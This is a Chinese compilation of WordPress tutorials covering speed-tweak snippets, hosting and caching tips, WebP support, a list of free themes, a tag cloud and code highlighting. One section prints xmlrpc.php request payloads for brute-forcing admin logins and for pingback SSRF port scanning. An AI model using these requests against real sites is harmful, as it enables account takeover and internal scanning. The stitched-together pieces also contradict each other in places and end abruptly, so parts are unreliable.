10个WordPress必备提高WordPress访问速度和精简代码

2020-07-30 17:27:31 分类:建站实操

我们很多网友,尤其是很多WordPress新手会发现自己在使用这款程序建站的时候为什么网站打开速度很慢,而有些网友即便数据和图片比较多网站打开速度也是比较快的,甚至你们都是使用的同一家的服务器。这个就在于我们在使用WordPress的时候是否有对于代码基础优化,当然如果深度优化是需要一些技能的,但是基础的优化我们大家都会做。

在这篇文章中,我们老部落整理几个常用的入门可以提高网站速度和代码优化效率的模块。如果我们是新手WordPress可以添加到网站中然后使得网站效率。

第一、网站目录反斜杠

//~ 页面链接后添加反斜杠
function itbulu_nice_trailingslashit($string, $type_of_url) {
if ($type_of_url != 'single')
$string = trailingslashit($string);
return $string;
}
add_filter('user_trailingslashit', 'itbulu_nice_trailingslashit', 10, 2);

添加这个脚本可以使得网站目录后缀URL加上反斜杠,默认是没有的。比如:https://www.laobuluo.com/tutorials/solution/。

第二、禁止emojis

//禁止emojis Edit By laobuluo.com
function disable_emojis() {
remove_action( 'wp_head', 'print_emoji_detection_script', 7 );
remove_action( 'admin_print_scripts', 'print_emoji_detection_script' );
remove_action( 'wp_print_styles', 'print_emoji_styles' );
remove_action( 'admin_print_styles', 'print_emoji_styles' );
remove_filter( 'the_content_feed', 'wp_staticize_emoji' );
remove_filter( 'comment_text_rss', 'wp_staticize_emoji' );
remove_filter( 'wp_mail', 'wp_staticize_emoji_for_email' );
add_filter( 'tiny_mce_plugins', 'disable_emojis_tinymce' );
}
add_action( 'init', 'disable_emojis' );
function disable_emojis_tinymce( $plugins ) {
if ( is_array( $plugins ) ) {
return array_diff( $plugins, array( 'wpemoji' ) );
} else {
return array();
}
}

一般网站用不上emojis,我们可以禁止。

第三、去掉CSS/JS后缀版本号

//去除加载的css和js后面的版本号 Edit By laobuluo.com
function sb_remove_script_version( $src ){
$parts = explode( '?', $src );
return $parts[0];
}
add_filter( 'script_loader_src', 'sb_remove_script_version', 15, 1 );
add_filter( 'style_loader_src', 'sb_remove_script_version', 15, 1 );

第四、禁止自PING和版本保存

function no_self_ping( &$links ) {
$home = get_option( 'home' );
foreach ( $links as $l => $link )
if ( 0 === strpos( $link, $home ) )
unset($links[$l]);
}
add_action( 'pre_ping', 'no_self_ping' );
remove_action('pre_post_update', 'wp_save_post_revision');
add_action('wp_print_scripts', 'disable_autosave');
function disable_autosave() {
wp_deregister_script('autosave');
}

第五、部分头部禁止模块

remove_action( 'wp_head', 'wp_generator' );
remove_action( 'wp_head', 'parent_post_rel_link', 10, 0 );
remove_action( 'wp_head', 'start_post_rel_link', 10, 0 );
remove_action( 'wp_head', 'adjacent_posts_rel_link_wp_head', 10, 0 );
remove_action( 'wp_head', 'feed_links_extra', 3 );
remove_action( 'wp_head', 'feed_links', 2 );
remove_action( 'wp_head', 'rsd_link' );
remove_action( 'wp_head', 'wlwmanifest_link' );
remove_action( 'wp_head', 'index_rel_link' );
remove_action( 'wp_head', 'wp_shortlink_wp_head', 10, 0 );

第六、将JQ文件底部加载

//强制jquery库文件底部载入 Edit By laobuluo.com
function ds_print_jquery_in_footer( &$scripts) {
    if ( ! is_admin() )
        $scripts->add_data( 'jquery', 'group', 1 );
}
add_action( 'wp_default_scripts', 'ds_print_jquery_in_footer' );

底部加载可以提高网站打开速度。

第七、关闭XML-RPC

// 关闭 XML-RPC 功能  Edit By laobuluo.com
add_filter('xmlrpc_enabled', '__return_false');

第八、关闭REST API

// 屏蔽 REST API
add_filter('rest_enabled', '__return_false');
add_filter('rest_jsonp_enabled', '__return_false');

第九、移除头部JSON

//移除头部 wp-json 标签和 HTTP header 中的 link Edit By laobuluo.com
remove_action('wp_head', 'rest_output_link_wp_head', 10 );
remove_action('template_redirect', 'rest_output_link_header', 11 );

第十、禁止Gutenberg编辑器

//禁止Gutenberg编辑器
add_filter('use_block_editor_for_post', '__return_false');
remove_action( 'wp_enqueue_scripts', 'wp_common_block_scripts_and_styles' );

总结,我们可以根据上面的功能将代码加入到当前WP主题的Functions.php文件中。

WordPress优化建议

1、选择优质的托管服务

当用户访问您的站点时,托管服务器将决定信息传递给他们的速度。有些服务器速度很慢,或者,您的套餐可能会限制您的最大速度或允许的服务器资源。简而言之,您的站点永远不会比服务器允许的速度快。选择正确的托管服务器和主机套餐是您应该为网站做出的首要选择之一,也是最重要的选择。

打个比方,电脑运行速度和性能,取决于硬件配置,比如CPU、内存、硬盘等,如果这些硬件配置都比较低,你用什么优化手段都不可能有显著的性能提升。以下是倡萌的建议:

国内网站

建议购买 阿里云、腾讯云 等国内大厂的产品,如果资金允许,不要购买“突发型”“限制型”“10%CPU性能”等等字样的产品,这就是硬件限制,磁盘最好选择SSD固态硬盘CPU最好是2核或以上、带宽至少2M或以上。反之,没钱的话,那就自己看着来吧!限制型服务器或主机空间运行一个小型网站也是可以的

外贸网站:

建议购买 SiteGround https://www.siteground.com ) 的WordPress管理型主机,他们是WordPress官方推荐的,并且针对WordPress进行了很多优化,可一键申请SSL免费证书和开启CDN。管理型 WordPress主机商还可以考虑 KinstaWP Engine 或 Godaddy,不过这些价格上有些贵。

注:不要买 BlueHost 了,被别人收购后,变得非常垃圾。

重要建议:

除了选择托管商以外,对产品的选择还要考虑以下因素:

  • 选择Linux主机,不要用windows
  • 选择提供 PHP 7.0 以上的(如果能提供PHP 7.2 或以上的,性能会更好)
  • 选择MySQL 5.6 以上的(好像阿里云的虚拟主机有些数据库还是 MySQL 5.1 ,请不要购买这种主机!)
  • 如果网站有一定的流量(比如日IP > 1000),建议不要用低配虚拟主机了,可以考虑升级使用云服务器(需要配置环境和维护的,可以联系倡萌)

2、定期更新WordPress内核、插件和主题

无论更新是WordPress核心,还是WordPress主题或插件,都请尽可能去做。这样做的最重要原因是安全性,因为更新将确保您的网站不受最新威胁的侵害。

3、使用缓存机制

WordPress网站优化的另一种方法是实施缓存。这样别人访问页面的时候,可以直接提供缓存页面和数据,减少了运行站点所需的服务器资源占用,从而可以大大加快站点的运行速度。推荐以下缓存插件

这几年出现了很多缓存插件,而且安装数量都非常多,大家可以根据自己的需要去对比一下。以上都非常不错!

如果是VPS或云服务器(内存1G以上),建议使用 Opcache 和 Memcached 服务器端缓存,性能更佳!

4、图像优化

图像优化是在不明显影响图像质量的情况下压缩图像文件大小的过程。大文件大小会对加载时间和带宽使用产生负面影响,从而损害整体用户体验。可以考虑以下图片处理插件:

5、减少HTTP请求数和压缩大小

页面加载的文件(css、js、图片等)都会导致请求数的增加,倡萌建议先删除或禁用不必要的js和css,然后合并压缩js和css,并且使用LazyLoad延迟加载图片。 除了减少HTTP请求数以外,压缩html、启用Gzip、延迟加载不是必要的css和js也是不错的优化手段。上面推荐的缓存插件基本都内置的这方面的功能,如果没有这方面的功能,可以使用 Autoptimize 插件。需要注意的是,这些操作可能会导致网站出现错位等问题,所以我们应该小心调试和排除一页页面和文件。

关于删除或禁用不必要的js和css,可以参考这方面的教程:

倡萌最近优化的网站项目,使用的是 Bridge 收费主题,加载了100+个js文件和30个css文件,最终倡萌剔除了 75+ 个 js和 20 个 css。

6、使用CDN加速

CDN指遍布全球的代理服务器网络。每个服务器都包含您的网站的副本,可用于将您的内容更快地交付给全球范围内的用户。这不仅可以提高您网站的速度,还可以提高安全性。对于有一定流量的网站来说,CDN方案是个不错的选择。

国内大厂主机商,比如阿里云、腾讯云、百度云等,都提供了CDN服务,可以根据需要自己选择使用。国内免费CDN可以考虑百度云加速,国外可以考虑 Cloudflare(可以安装 Cloudflare 插件)。

如果仅仅是加速静态文件,比如图片、js和css等,也可以考虑使用 又拍云七牛云 等服务。

WordPress大学 目前用的是阿里云服务器,所以配套用了OSS+CDN服务加速静态文件,效果还不错,就是需要一定的费用。

总结

WordPress网站的性能和速度对网站至关重要,通过检测工具检测出网站的问题,然后配合上面的WordPress网站优化建议去操作,应该可以得到一个不错的结果!网站优化是一个长期的实施过程,WordPress大学也需要不断优化提升!

WordPress xmlrpc.php 漏洞

WordPress采用了XML-RPC接口.并且通过内置函数WordPress API实现了该接口内容。 所以,你可要通过客户端来管理Wordpress。 通过使用WordPress XML-RPC, 你可以使用业界流行博客客户端Weblog Clients来发布你的WordPress日志和页面。同时,XML-RPC 也可使用extended by WordPress Plugins插件来自定义你的规则。

0X01 激活XML-RPC

从3.5版本开始,XML-RPC功能默认开启。 早些版本,可通过如下方法激活:Settings > Writing > Remote Publishing and check the checkbox.

路径:http://example.com/wordpress/xmlrpc.php

image.png

0x02 查看系统允许的方法

POST /wordpress/xmlrpc.php HTTP/1.1
Host: www.example.com
Content-Length: 99

<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>
image.png

0x03 账号爆破

一般情况下,wordpress的管理后台都会设置账号登录失败次数限制,因此,可以通过xmlprc.php接口来进行爆破。通常会使用wp.getUserBlogs、wp.getCategories和metaWeblog.getUsersBlogs这个方法来进行爆破,也可以使用其他的方法。
构造请求包:

POST /wordpress/xmlrpc.php HTTP/1.1
Host: www.example.com
Content-Length: 99

<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>password</value></param>
</params>
</methodCall>
image.png

爆破成功会返回博客的内容:

image.png

0x03 SSRF

WordPress 版本< 3.5.1
通过Pingback可以实现的服务器端请求伪造 (Server-side request forgery,SSRF)和远程端口扫描。
构造请求包:

POST /wordpress/xmlrpc.php HTTP/1.1
Host: www.example.com
Content-Length: 99

<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>要探测的ip和端口:http://127.0.0.1:80</string></value>
</param><param><value><string>网站上一篇博客的URL:http://localhost/wordpress/?p=1)<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

IP和端口存在,返回包中的<value><int>中的值大于0:

image.png

利用脚本:
https://github.com/FireFart/WordpressPingbackPortScanner 

0x04 读取文件:

image.png
image.png

0x99 参考:

https://codex.wordpress.org/zh-cn:XML-RPC_Support
http://xmlrpc.com/
https://medium.com/@the.bilal.rizwan/wordpress-xmlrpc-php-common-vulnerabilites-how-to-exploit-them-d8d3c8600b32
https://www.acunetix.com/blog/web-security-zone/wordpress-pingback-vulnerability/
http://lab.onsec.ru/2013/01/wordpress-xmlrpc-pingback-additional.html

如何在WordPress中使用WebP图像

播报文章
关注

您是否要在WordPress中使用WebP图像?WebP图像是一种现代的图像格式,可通过减小文件大小来提供更好的图像压缩。这使您的网站加载速度更快,并节省了带宽。在本文中,我们将向您展示如何轻松地在WordPress中使用WebP图像。

什么是WebP?为什么在WordPress中使用WebP图像?

WebP是要在网络上使用的图像的新文件格式。通过使用WebP图像格式,您的图像文件大小将比PNG和JPEG小25-34%,而不会降低质量。如果图像使您的网站变慢,则将其转换为WebP格式可以提高页面加载速度的测试成绩。

由于WebP是一种新的文件格式,因此并非所有浏览器都支持它。但是,大多数现代浏览器(例如Google Chrome,Firefox和Microsoft Edge)都支持WebP图像。

您是否应该在WordPress中使用WebP图像?

WebP图像可以帮助您加快WordPress网站的速度。这是推荐的最佳实践,可与WordPress缓存插件,CDN等一起使用。默认情况下,WordPress不支持WebP图像,并且上载WebP图像将显示错误。

要解决此问题,您将需要使用图像压缩插件将图像转换为WebP图像格式。您仍将以WordPress支持的文件格式(例如PNG,JPEG和GIF)上传图像,以便将它们用作备份。如果您的站点使用大量图像,并且它们在减慢WordPress博客的速度,那么您绝对应该考虑使用WebP图像。

这是在WordPress中使用WebP图像的方法。我们将向您展示多种方法,因此您可以选择一种最适合您的方法:

通过EWWW Optimizer在WordPress中使用WebP图像在WP Rocket中使用WordPress中的WebP图像通过SG Optimizer在WordPress中使用WebP图像一、在EWWW Optimizer中使用WordPress中的WebP图像

EWWW Image Optimizer插件是最好的WordPress图像压缩插件之一,可让您优化WordPress图像。它还支持WebP图像,并可以在支持的浏览器上自动显示它们。您需要做的第一件事是安装并激活EWWW Image Optimizer插件。

激活后,转到设置EWWW图像优化器页面以配置插件选项。安装向导会打招呼,但是您可以单击“我知道我在做什么”链接以退出向导。

在下一个屏幕上,您将看到很多插件选项。向下滚动并选中“ WebP转换”选项旁边的框。

之后,单击“保存更改”按钮以存储您的设置。

接下来,您需要向下滚动到“ WebP转换”部分。现在,该插件将为您显示一些带有红色预览图像的重写规则。

您需要单击“插入重写规则”按钮,插件将自动尝试将这些重写规则插入.htaccess文件中。

如果插件成功添加了这些规则,则红色图像预览将变为带有“ WebP”文本的绿色。

有时,插件可能无法插入规则。在这种情况下,您需要从插件的设置页面复制重写规则,然后将其手动粘贴到.htaccess文件的底部。完成后,返回到插件的设置页面,然后再次单击“保存更改”按钮。如果预览图像变为绿色,则表示您已成功在WordPress网站上启用WebP图像传递。

或者,您可以从JS WebP重写或<picture> WebP重写方法中选择一种作为WebP交付选项。这些方法比.htaccess方法要慢一些,但可以完成工作。

批量将旧图像转换为WebP版本

EWWW图像优化器使您可以轻松地将以前上传的图像文件转换为WebP图像。只需转到媒体库页面,然后切换到列表视图。

接下来,您需要单击“屏幕选项”按钮,并将“每页的项目数”更改为999。如果您有1000幅以上的图像,则这些图像将显示在下一页上。这样,您将能够快速选择大量图像以进行批量优化。接下来,单击顶部的全选复选框以选择所有图像。

之后,点击批量操作下拉菜单,然后选择批量优化选项。最后,单击“应用”按钮。

在下一个屏幕上,该插件将为您提供一个选项,可以跳过图像压缩,仅将其转换为WebP。如果您的图像已经优化,则可以选中此选项。

之后,单击“扫描未优化的图像”按钮继续。然后,该插件将向您显示找到的图像数量,因此您可以单击“优化”按钮继续。现在将优化您的图像,并且EWWW优化器将为您的图像生成WebP版本。

测试您的WebP图像

优化图像后,您可以转到包含多个图像的博客文章或页面。将鼠标移到任何图像上,然后单击鼠标右键以在新选项卡中打开图像。

这将在新的浏览器选项卡中打开图像,您将能够在地址栏中看到其扩展名为.webp。

如果插件无法提供webp图像,则可以返回到插件的设置页面。在这里,您可以将WebP交付选项更改为“ JS WebP Rewriting”或“ <picture> WebP Rewriting”方法。

二、通过Imagify在WordPress中使用WebP图像

Imagify是WP Rocket背后的人们创建的WordPress图像优化插件,WP Rocket是最好的WordPress缓存插件之一。它使您可以轻松优化图像并将其转换为WebP图像格式。您需要做的第一件事是安装并激活Imagify插件。

激活后,您需要访问设置想象页面以配置插件设置。从这里。点击“创建免费的API密钥”按钮继续。

之后,系统会要求您输入公司的电子邮件地址,然后您可以在收件箱中查看包含API密钥的电子邮件。将密钥复制并粘贴到插件的设置页面上,然后单击“保存更改”按钮。接下来,您需要向下滚动到“优化”部分。在那里,您需要检查“创建webp版本的图像”和“在站点上以webp格式显示图像”选项旁边的选项。

在此之下,您可以从两种交付方式中选择一种,以在WordPress中显示WebP图像。第一个是.htaccess方法,第二个是使用<picture>标记。.htaccess方法更快,但是如果您使用CDN服务,则该方法不起作用。<picture>标记方法也适用于CDN,但它可能会破坏某些WordPress主题。

您可以选择一种最适合您的网站的方式。之后,点击底部的“保存并转到批量优化器”按钮。

这将带您到MediaBulk Optimization页面。该插件将在后台自动开始优化您的所有WordPress图像。

如果您有很多图像,则可能要花一些时间。不用担心,您可以关闭页面并稍后再返回页面,因为关闭页面不会停止图像优化过程。

在WordPress中测试您的WebP图像

优化完成后,您可以访问包含一些图像的页面或帖子。将鼠标移到图像上,然后右键单击以选择“在新选项卡中打开图像”。

这将在新的浏览器选项卡中打开图像,并且您将能够在地址栏中看到.webp扩展名。

wordpress如何设置支持上传webp格式图片文件

而且图片质量却没有损失,简直恐怖,如果把网站的图片全换成webp的话,那估计网站加载速度可以省下一两秒。

wordpress如何设置支持上传webp格式图片文件插图

没压缩前,大小4MB

wordpress如何设置支持上传webp格式图片文件插图1

压缩后,大小28KB

教你转换之前我们先来了解下webp格式的由来。

WebP是Google在2010年推出的影像技术,文件扩展名为“.webp”。

图片压缩体积大约只有JPEG的2/3,同时又不影响图片格式兼容与实际清晰度,进而节省大量的服务器宽带资源和数据空间。让整体网页下载速度加快。

不过WebP缺点是有的,就是部分浏览器或者客户端并不支持显示WebP格式的文件,比如我们wordpress、windows,默认情况下是无法读取WebP文件的。

当然WebP出来已经10年了,几乎95%的程序都是支持WebP的,比如微信就支持,所以取舍问题,我们还是选择速度至上,给wordpress开启支持WebP图片。

具体步骤:

使用代码编辑器直接编辑 /wp-includes/functions.php

1、打开文件搜索

  1. ‘image/jpeg’ => ‘jpg’,

在下一行加入

  1. ‘image/webp’ => ‘webp’,

wordpress如何设置支持上传webp格式图片文件插图2

2、继续搜

  1. ‘jpg|jpeg|jpe’ => ‘image/jpeg’,

下一行加入

  1. ‘webp’ => ‘image/webp’,

wordpress如何设置支持上传webp格式图片文件插图3

修改后保存,刷新网页即可生效。

如图wordpress缩略图无法显示WebP图片怎么办?修改functions.php文件,在底部添加以下代码保存即可。

function webp_file_is_displayable_image($result, $path) {
    $info = @getimagesize( $path );
    if($info['mime'] == 'image/webp') {
        $result = true;
    }
    return $result;
}
add_filter( 'file_is_displayable_image', 'webp_file_is_displayable_image', 10, 2 );

function webp_is_displayable($result, $path) {
    if ($result === false) {
        $displayable_image_types = array( IMAGETYPE_WEBP );
        $info = @getimagesize( $path );
        if (empty($info)) {
            $result = false;
        } elseif (!in_array($info[2], $displayable_image_types)) {
            $result = false;
        } else {
            $result = true;
        }
    }
    return $result;
}
add_filter('file_is_displayable_image', 'webp_is_displayable', 10, 2);

 

需要说明的是之前上传的webp图片是不会显示的,只能添加代码后上传的webp文件才会显示缩略图。

WordPress创建商业网站25个最佳免费wordpress商业主题

WordPress是制作商务网站的最受欢迎的网站构建器。

有两种可用的WordPress网站。WordPress.com是受限制的托管平台,而WordPress.org是您听说过的流行WordPress平台。

相关: WordPress.com与WordPress.org之间的区别(完全比较)

我们建议您在网站上使用自托管的WordPress.org。它使您可以立即使用所有WordPress功能。

要建立网站,您需要获取域名和虚拟主机。

域名是用户将在其浏览器中键入以访问您的网站的网站地址(例如wpbeginner.com)。另一方面,网络托管是您存储所有网站文件的位置。

我们建议使用Bluehost,因为它们是世界上最大的托管公司之一,也是官方推荐的WordPress托管提供商。

有关更多建议,请参见有关如何选择最佳WordPress托管的指南。

购买虚拟主机后,您可以按照我们的指南制作商业网站,以逐步进行设置说明。

话虽如此,让我们看一下您可以使用的一些最佳免费WordPress商业主题。

25个最佳免费wordpress商业主题

25个最佳免费wordpress商业主题

1.阿斯特拉

Astra是一个流行的多功能WordPress主题。它带有数十个入门站点,包括用于商业网站的多个演示。

它是完全可定制的,并使其非常容易更改其颜色,背景,字体和其他选项。Astra与任何首页构建器都可以很好地协作,这使得在需要时更容易创建自己的自定义布局。

2. OceanWP

OceanWP是一个免费的WordPress商业主题,旨在制作任何类型的网站。它带有几个预先构建的演示,您可以使用它们来快速启动您的企业网站。

主题是电子商务,只需单击几下即可开始建立在线商店。它具有最快的页面加载时间和内置的SEO功能,可提高您的网站流量。

3.尼芙

Neve是适用于小型企业网站和电子商务商店的轻量级WordPress多功能主题。

它具有极简主义的布局,拥有漂亮的色彩和先进的排版。它与流行的页面构建器(例如Beaver Builder)集成在一起,可轻松自定义。

4.古腾主题

Guten主题是适用于Gutenberg的WordPress主题,可用于创建您的商业网站。它带有对额外的Gutenberg块的支持,您可以使用这些块为网站构建漂亮的布局。

它也可以与拖放页面构建器一起使用,从而为您提供更多自定义选项。它针对速度和性能进行了高度优化。

5.悉尼

悉尼是一个强大的WordPress商业主题。它带有全角图像滑块,自定义徽标,无限的颜色选项以及对所有Google字体的访问权限。其他值得注意的功能包括粘性导航菜单,标题图像和视差滚动。

6.着迷

Mesmerize是为商业网站构建的超灵活的WordPress多功能主题。它是初学者友好的,并提供大量选项,使您无需编写任何代码或CSS即可创建网站。主页具有商业网站设计,其中包括5种标题样式和30多个现成的内容部分。它还支持视频背景,幻灯片,标题内容类型,渐变叠加等。

7.泽勒

Zelle是一页的WordPress主题,设计用于商业网站的专业布局。它具有视差滚动,自定义背景,大型菜单和一键式演示内容导入器,可以立即开始使用。Zelle主题还与所有流行的页面构建器兼容,以帮助您轻松创建自定义页面模板。

8.便当

Bento是一个用户友好的WordPress主题,具有多个专业布局,包括用于您的企业网站的模板。

它具有多个页面模板,自定义小部件,矢量图标,无限的颜色组合和Google字体等功能。您可以使用WordPress定制程序通过实时预览来自定义您的网站。

9.赫斯提亚

Hestia是免费的WordPress主题,非常适合商业网站。它带有一个配套插件,可在首页上添加客户推荐和服务部分。

它与流行的页面构建器插件兼容,并为WooCommerce提供开箱即用的支持。使用实时主题定制器可以轻松设置Hestia。

10.富裕

Affluent是一个非常适合公司和企业网站的免费WordPress主题。它以最小且专业的布局,为首页滑块,内容块和推荐旋转器提供了自定义帖子类型。它与流行的WordPress插件(如Yoast SEO,WooCommerce和WPML)集成,以扩展功能。

11. Foodica

如果您正在为食品相关业务寻找免费的WordPress主题,那么Foodica将是一个完美的选择。它具有白色背景的宽敞布局,可弹出您的内容和图像。

此主题在主页上具有多个导航菜单,图像滑块,社交共享图标和特色内容部分。使用WordPress实时定制器很容易进行定制。

12.前卫

Avant是一个免费的现代WordPress商业主题,可快速制作具有专业外观的网站。它使您可以完全控制选择页面和博客的布局。

您还可以自定义布局设置,以调整页眉,页脚和小部件区域中的间距。它支持多种语言,开箱即用地支持WooCommere。

13.总计

Total是用于商业网站的美丽且免费的WordPress主题。它具有灵活的主页布局,其中在不同区域添加了滑块,联系表,进度栏,项目组合,团队部分,推荐书和博客部分。

它包括多个可用于小部件的区域以及对更改主题设置的完全定制器支持。它还支持WooCommerce,可用于创建多语言网站。

14.休曼

Hueman是一个免费的多功能WordPress商业主题。它是高度可定制的,并带有易于使用的选项面板。它具有多种布局选择,包括单列,两列或三列布局。Hueman提供了两个导航菜单位置以及主题中内置的社交媒体菜单。

15.波塞冬

波塞冬(Poseidon)是一个最小的WordPress主题,具有漂亮的宽敞布局。它可以用作简单的博客主题,商业网站,甚至可以用作在线杂志。它允许您使用自定义窗口小部件构建主页布局。您可以使用WordPress主题定制器来更改颜色,字体和背景。

16. Customizr

Customizr是最流行和高度可定制的WordPress商业主题之一。它具有充分的响应能力和移动友好性。它带有一个精选的滑块,​​多个页面模板,布局选择和颜色。该主题具有引人入胜的全角自定义背景图片,给人留下深刻的第一印象。

17.制作

Make是具有拖放功能的页面生成器友好WordPress主题,可让您快速构建企业网站。它具有多种布局选择和完全响应的设计。它还包括全幅横幅和图像画廊,以展示您的业务组合。

18.优势

Vantage是一种免费且灵活的WordPress商业主题,几乎可以用于任何类型的网站。使用页面构建器插件可以高度自定义。您可以使用拖放功能快速自定义布局。

它针对性能进行了优化,也可以用于电子商务网站。

19.卡洛韦

Colorway是一种时尚的WordPress商业主题,具有易于使用的功能和选项。它具有自定义背景,多种布局选择,Google Analytics(分析)支持等。您还可以导入演示内容以设置主题,然后替换文本和图像以立即开始使用。

20.顶峰

Pinnacle是一个大胆的WordPress主题,提供具有完全响应式布局的平面设计。它具有带有自定义徽标和导航菜单的全角标题背景图像。品尼高还支持WooCommerce将您的业务站点扩展到电子商务商店。

21.宽敞

Spacious是一个免费的WordPress商业主题,其布局简约而清新。它带有图像滑块,自定义窗口小部件和特色内容的主页部分。

它还包括盒装和宽大的布局选择,博客页面模板以及其他几种页面布局。您可以为网站选择较浅或较深的配色方案,并将其与您选择的任何页面构建器插件一起使用。

22.莫西西亚

Moesia是具有完整视差支持的响应式WordPress商业主题。它带有预定义的块,您可以使用它们来构建主页。每个块可以具有自己的视差背景,从而为您的用户创造美好的体验。

23.雕刻精简版

Engrave Lite是一个功能强大的WordPress商业主题。它在主页上展示了全角图像滑块和自定义部分。

它具有多个导航菜单,可用于小部件的区域,对电子商务插件的支持以及简单的自定义选项。它可以快速设置而不会遇到太多选择。

24.全画幅

顾名思义,Full Frame是用于商业网站的全角WordPress主题。它带有内置的特色内容滑块,号召性用语按钮,自定义小部件和多个页面布局。

该主题支持WooCommerce将您的企业网站转换为在线商店。

25.最小风

Minamaze是最小的WordPress商业主题。它具有背景,字体和边框的黑白组合。该主题有一个全角滑块,2个导航菜单和一个自定义徽标。SEO进行了高度优化,以增加您的网站流量。

WordPress如何设置彩色标签云?

  • Wordpress如何设置彩色标签云?1
  • Wordpress如何设置彩色标签云?2
  • Wordpress如何设置彩色标签云?3
  • Wordpress如何设置彩色标签云?4
  • Wordpress如何设置彩色标签云?5

分步阅读

浏览别人Wordpress博客,很多都有彩色标签云功能,自己羡慕不已啊,于是就开始也折腾了自己的博客,看着网上大拿操作一步一步,竟然成功了。笔者就整理了一下Wordpress如何设置彩色标签云的步骤,分享给大家哦。

方法/步骤

  1. 第一步:登陆自己博客后台,依次找到“外观->编辑->模板函数(functions.php)”,如下图所示:

    Wordpress如何设置彩色标签云?
  2. 第二步:打开functions.php文件,把下面代码添加到最后的“?>”的前面。

    function colorCloud($text) {

    $text = preg_replace_callback(‘|<a (.+?)>|i’,’colorCloudCallback’, $text);

    return $text;

    }

    function colorCloudCallback($matches) {

    $text = $matches[1];

    $color = dechex(rand(0,16777215));

    $pattern = ‘/style=(\’|\”)(.*)(\’|\”)/i’;

    $text = preg_replace($pattern, “style=\”color:#{$color};$2;\””, $text);

    return “<a $text>”;

    }

    add_filter(‘wp_tag_cloud’, ‘colorCloud’, 1);

    如下图所示:

    Wordpress如何设置彩色标签云?
  3. 第三步:修改Wordpress彩色标签字体大小,排序,显示数量等。

    用WinSCP工具进入Wordpress根目录,依次找到wp-includes/category-template.php下载到桌面;然后打开该文件,搜索wp_tag_cloud,找到相关参数进行修改:

    function wp_tag_cloud( $args = ” ) {

    $defaults = array(

    ‘smallest’ => 12, ‘largest’ => 16, ‘unit’ => ‘pt’, ‘number’ => 50,

    ‘format’ => ‘flat’, ‘separator’ => “\n”, ‘orderby’ => ‘count’, ‘order’ => ‘DESC’,

    ‘exclude’ => ”, ‘include’ => ”, ‘link’ => ‘view’, ‘taxonomy’ => ‘post_tag’, ‘echo’ => true

    );

    $args = wp_parse_args( $args, $defaults );

     

    $tags = get_terms( $args[‘taxonomy’], array_merge( $args, array( ‘orderby’ => ‘count’, ‘order’ => ‘DESC’ ) ) );

    注:

    smallest表示标签的最小字号

    largest表示最大字号

    unit=px表示字体使用像素单位

    number=0表示显示所有标签,如果为40,表示显示40个

    orderby=count表示按照标签所关联的文章数来排列

    order=DESC表示降序排序(ASC表示升序排序,DESC表示降序排序)

    Wordpress如何设置彩色标签云?
  4. 第四步:修改完保存,并上传到原来位置。开始调用Wordpress彩色标签云小工具,进入后台依次找到外观->小工具->标签云;拖动标签云到侧边栏上。如下图所示:

    Wordpress如何设置彩色标签云?
  5. 第五步:保存标签云之后回到您的网站首页就可以看到彩色标签云的效果了,恭喜您有彩色标签云了。如下图所示:

    Wordpress如何设置彩色标签云?
    END

注意事项

  • 字体的颜色可以自己根据喜好或者整体颜色进行自定义。
  • 如果本文对您有帮助或您喜欢,请点赞投票或加关注,谢谢!

wordpress代码高亮显示

具体步骤为:

1,拷贝文件 highlight.css 到主题目录下。

2,在主题头文件 header.php 的 </header>之后,</header> 之前添加:

  1. <link rel=“stylesheet” href=“<?php bloginfo(‘template_url’); ?>/highlight.css” />

3,记住以下两个网站:

在线代码高亮转换

在线C语言格式化

4,在上述两个网站中进行在线转换。将格式化后的代码进行高亮转换,然后复制 html 代码,粘贴到wordpress的文本框,记住一定要粘贴到文本框,最好不要粘贴到可视化框。

5,最后进行字体、字号调整等操作,以免在文本框粘贴时格式符太多,不容易查找粘贴位置。

高亮效果:

转换前:
#include <iostream>

int main()
{
std::cout << “Hello World!” << std::endl;
return 0;
}

转换后:

  1. #include <iostream>
  2. int main()
  3. {
  4.     std::cout << “Hello World!” << std::endl;
  5.     return 0;

『Wordpress』自定义代码高亮

# TODO: 

关于 WordPress 的代码高亮,以前的解决方案着实让人哭笑不得。最初为了代码高亮,直接截图。然后实在是受不了了,安装了代码高亮插件,但是效果差强人意,样式太丑,弃用了。最后,将代码从编辑器复制到 Evernote 里面,然后再复制到 WordPress 里面,真是累啊。

文章太过久远,可能已不具备参考价值。没删,只因为留作纪念。

今天朋友推荐了个 css 库,可以直接使用这些css,来进行代码高亮,这是原文地址:

http://archerzz.ninja/ios/code-highlight.html

本文,将讲解作为一名iOS开发人员,如何使用xcode风格的代码高亮,以及注意事项。

正文:

一、下载官方库

首先,下载官方的js与css库:

https://highlightjs.org/download/

然后,将highlight.pack.js上传到服务器上(能通过URL访问即可),然后看到highlight目录下的style文件夹,里面放的是各种风格的代码高亮样式。

二、修改xcode.css样式

找到xcode.css,这个样式是xcode中的default主题风格,即白色背景的那种风格。但在博客中,白色背景并不友好,一般会给一定的底色,所以,打开xcode.css,对代码做如下修改:

.hljs {
  display: block;
  overflow-x: auto;
  padding: 0.5em;
  background: #fff; // 将这一行的#fff改为#e9e9e9(浅灰色)
  color: black;
  -webkit-text-size-adjust: none;
}

三、上传xcode.css

上传的方式与highlight.pack.js一样,路径随便选,只要能访问到就行。

四、在wordpress中引入上传的文件

进入wordpress后台,找到【外观】->【编辑】,在右侧选择顶部(header.php),将以下代码放到之前。

<link rel="stylesheet" href="上传的xcode.css路径">
<script src="上传的highlight.pack.js路径"></script>
<script>hljs.initHighlightingOnLoad();</script>

五、关闭wordpress默认pre样式

这一步完了以后,还需要关闭wordpress自带的pre样式,否则会与xcode.css中的样式冲突。

  1. 进入wordpress后台,找到【外观】->【编辑】,在右侧选择样式表(style.css);
  2. 全局搜索pre,找到以下代码并删除(如果怕删错,可以先备份):
pre {
    background: #eee;
    font-family: "Courier 10 Pitch", Courier, monospace;
    font-size: 15px;
    font-size: 1.3rem;
    line-height: 1.6;
    margin-bottom: 0.5em;
    padding: 1em;
    overflow: auto;
    max-width: 100%;
}
  1. 如果代码字体大小或样式不喜欢,可以在将pre下面的code做如下改动:
code, kbd, tt, var {
    font: 15px Monaco, Consolas, "Andale Mono", "DejaVu Sans Mono", monospace;
